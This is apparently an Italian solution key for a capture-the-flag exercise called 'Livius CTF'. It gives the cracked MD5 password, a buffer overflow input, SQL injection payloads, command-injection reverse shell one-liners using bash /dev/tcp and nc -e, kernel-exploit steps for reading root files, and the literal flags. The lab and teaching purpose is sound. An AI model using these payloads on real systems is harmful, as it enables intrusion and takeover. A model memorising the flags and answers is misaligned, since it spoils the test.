Livius CTF

Soluzione: L'hash MD5 "dc647eb65e6711e155375218212b3964" corrisponde alla password "Password" (con la P maiuscola).

Come risolverlo: Puoi usare siti come crackstation.net o tools come John the Ripper per decifrare hash MD5. Ricorda che MD5 è case-sensitive, quindi "Password" è diverso da "password".

Soluzione: Inserisci una stringa di almeno 30 caratteri, ad esempio: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

Come funziona: Il buffer overflow fa sì che i dati in eccesso sovrascrivano la variabile dei privilegi in memoria, elevando i tuoi permessi.

Soluzione: Inserisci: ' OR '1'='1 oppure ' OR 1=1 --

Come funziona: Questo payload modifica la query SQL in: SELECT * FROM users WHERE id = '' OR '1'='1', che restituisce sempre true, mostrando tutti gli utenti.

Soluzione: Inserisci: ; bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 oppure | nc 127.0.0.1 4444 -e /bin/bash

Come funziona: Questi comandi stabiliscono una connessione reverse shell verso l'IP 127.0.0.1 sulla porta 4444, dando il controllo remoto del sistema.

Soluzione: Inserisci: CTF{K3rn3l_3xpl0it_5ucc3ss}

Come trovarlo: Usa ls per vedere i file nella directory corrente. Troverai un file exploit.c. Compilalo con gcc exploit.c -o exploit. Esegui l'exploit con ./exploit per diventare root. Poi leggi il flag con cat /root/flag.txt.

Soluzione: Inserisci: CTF{6Lv3LL1_C0MPL3T4T1}

Come trovarlo: Con i privilegi di root, puoi usare comandi come cat /root/secret/flag_finale.txt per leggere il file contenente il flag.